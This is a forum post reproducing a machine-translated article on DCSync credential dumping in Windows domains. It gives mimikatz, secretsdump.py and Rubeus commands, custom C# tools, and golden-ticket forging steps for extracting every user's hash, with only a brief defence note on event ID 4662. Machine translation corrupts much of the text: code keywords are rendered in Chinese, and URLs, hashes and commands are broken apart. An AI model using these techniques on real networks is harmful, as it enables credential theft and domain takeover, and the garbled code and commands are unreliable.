跳转到帖子
  • 游客您好,欢迎来到黑客世界论坛!您可以在这里进行注册。

    赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!

    TheHackerWorld官方

域穿透3354通过DCSync导出域中所有用户的哈希的方法


Xiao7

推荐的帖子

0x00 前言

在之前的文章《域渗透——DCSync》中,系统整理了DCSync的利用方法。本文将详细介绍使用DCSync导出域内所有用户hash的方法,分析不同环境下的利用思路,并给出防御建议。

0x01 简介

本文将介绍以下内容:

使用条件

利用工具

利用理念

辩护建议

0x02 利用条件

从下列任何用户处获取权限:

管理员组中的用户

域管理员组中的用户

企业管理员组中的用户

域控制器的计算机帐户

0x03 利用工具

1.C实现(mimikatz)

实施代码:

https://github . com/gentil kiwi/mimikatz/blob/master/mimikatz/modules/LSA dump/kuhl _ m _ LSA dump _ DC . c # L27

命令示例:

(1)导出域内所有用户的hash

mimikatz.exe ' LSA dump:DC sync/domain:test . com/all/CSV '退出

(2)导出域内administrator帐户的hash

mimikatz.exe ' LSA dump:DC sync/domain:test . com/user:administrator/CSV '退出

2.Python实现(secretsdump.py)

命令示例:

python secretsdump.py测试/管理员:DomainAdmin123!@192.168.1.1

3.Powershell实现(MakeMeEnterpriseAdmin)

核心代码由C Sharp实现,支持以下三个功能:

通过DCSync导出krbtgt用户的哈希

使用krbtgt用户的哈希生成金券

进口金券

注:

我在测试环境下的实验结果显示,生成金券的功能存在bug,导入金券后无法获得相应的权限。

4.C Sharp实现

我在(MakeMeEnterpriseAdmin)的基础上做了如下修改:

支持导出所有用户的哈希

导出域sid

导出所有域用户sid

代码已经上传到github,地址如下:

https://github . com/3g student/home-of-C-Sharp/blob/master/sharpdcsync . cs

补充:代码开发细节

输出字典中的所有键和值:

foreach(值中的字符串键。按键)

{

控制台。WriteLine(字符串。Format('key:{0} value{1} ',key,values[key]);

}

字节数组到字符串,用于输出哈希:

byte[]data=values[' ATT _ UNICODE _ PWD ']as byte[];

控制台。WriteLine(BitConverter。ToString(数据)。替换('-',' '));

将字符串字节数组转换为字节数组:

string hex=' d 4 Fe 97 B4 FD 50367 c 7 AE 8 fef 781 f 27 a2e ';

var inputByteArray=新字节[十六进制。长度/2];

for(var x=0;x inputByteArray。长度;x)

{

var i=转换。ToInt32(十六进制。Substring(x * 2,2),16);

inputByteArray[x]=(byte)I;

}

0x04 利用思路

1.在域控制器上执行

可以使用0x03中提到的工具。

2.在域内主机上执行

(1)Mimikatz

有两种方法可以利用它:

导入账单,执行DCSync

Over pass哈希用于启动脚本,脚本执行DCSync。

(2)secretsdump.py

直接执行就好了。

(3)C Sharp实现

您需要首先生成一个票证。

有两种方法可以利用它:

获取krbtgt用户的hash,在本地使用Mimikatz生成Golden ticket。

命令示例:

mimikatz ' Kerberos:golden/用户:管理员/域:测试。' COM/sid:S-1-5-21-254706111-4049838133-2416123456/krbtgt:d 4 Fe 97 B4 FD 50367 c 7 AE 8 fef 781 f 27 a2e/ticket:test . kir bi '

获取高特权用户,并使用Rubeus发送请求来获取票证。

命令示例:

Rubeus.exe asktgt/用户:管理员/密码:123456/输出文件:test.kirbi

Rubeus.exe asktgt/用户:管理员/RC4:d 4 Fe 97 B4 FD 50367 c 7 AE 8 fef 781 f 27 a2e/outfile:test . kir bi

然后导入账单。

可以选择SharpTGTImporter.cs,代码已经上传到github,地址如下:

https://github . com/3g student/home-of-C-Sharp/blob/master/sharpdcsync . cs

我在(MakeMeEnterpriseAdmin)的基础上做了如下修改:

支持导入指定的票据文件。

命令示例:

SharpTGTImporter.exe测试

最后,执行DCSync。

可以选择SharpDCSync.cs导出所有用户哈希,代码已经上传到github,地址如下:

https://github . com/3g student/home-of-C-Sharp/blob/master/sharpdcsync . cs

命令示例:

SharpDCSync.exedc1.test.com试验。计算机输出缩微胶片

可以选择SharpDCSync_krbtgt.cs导出krbtgt用户哈希。代码已经上传到github,地址如下:

https://github . com/3g student/Homework-of-C-Sharp/blob/master/SharpDCSync _ krbtgt . cs

命令示例:

dc1.test.com测试。计算机输出缩微胶片

3.在域外主机上执行

方法与“2”相同。在域中的主机上执行"

0x05 防御建议

攻击者需要以下任何用户的权限:

管理员组中的用户

域管理员组中的用户

企业管理员组中的用户

域控制器的计算机帐户

您可以通过事件日志检测选择监控日志事件ID 4662。

参考资料:

https://www.blacklanternsecurity.com/2020-12-04-DCSync/

0x06 小结

介绍了使用DCSync导出域中所有用户的hash的方法。在(MakeMeEnterpriseAdmin)的基础上,编写了SharpTGTImporter.cs和SharpDCSync.cs代码,简单易用。结合利用的思想,给出了防御建议。

留下回复

链接帖子
意见的链接
分享到其他网站

黑客攻防讨论组

黑客攻防讨论组

    You don't have permission to chat.
    • 最近浏览   0位会员

      • 没有会员查看此页面。
    ×
    ×
    • 创建新的...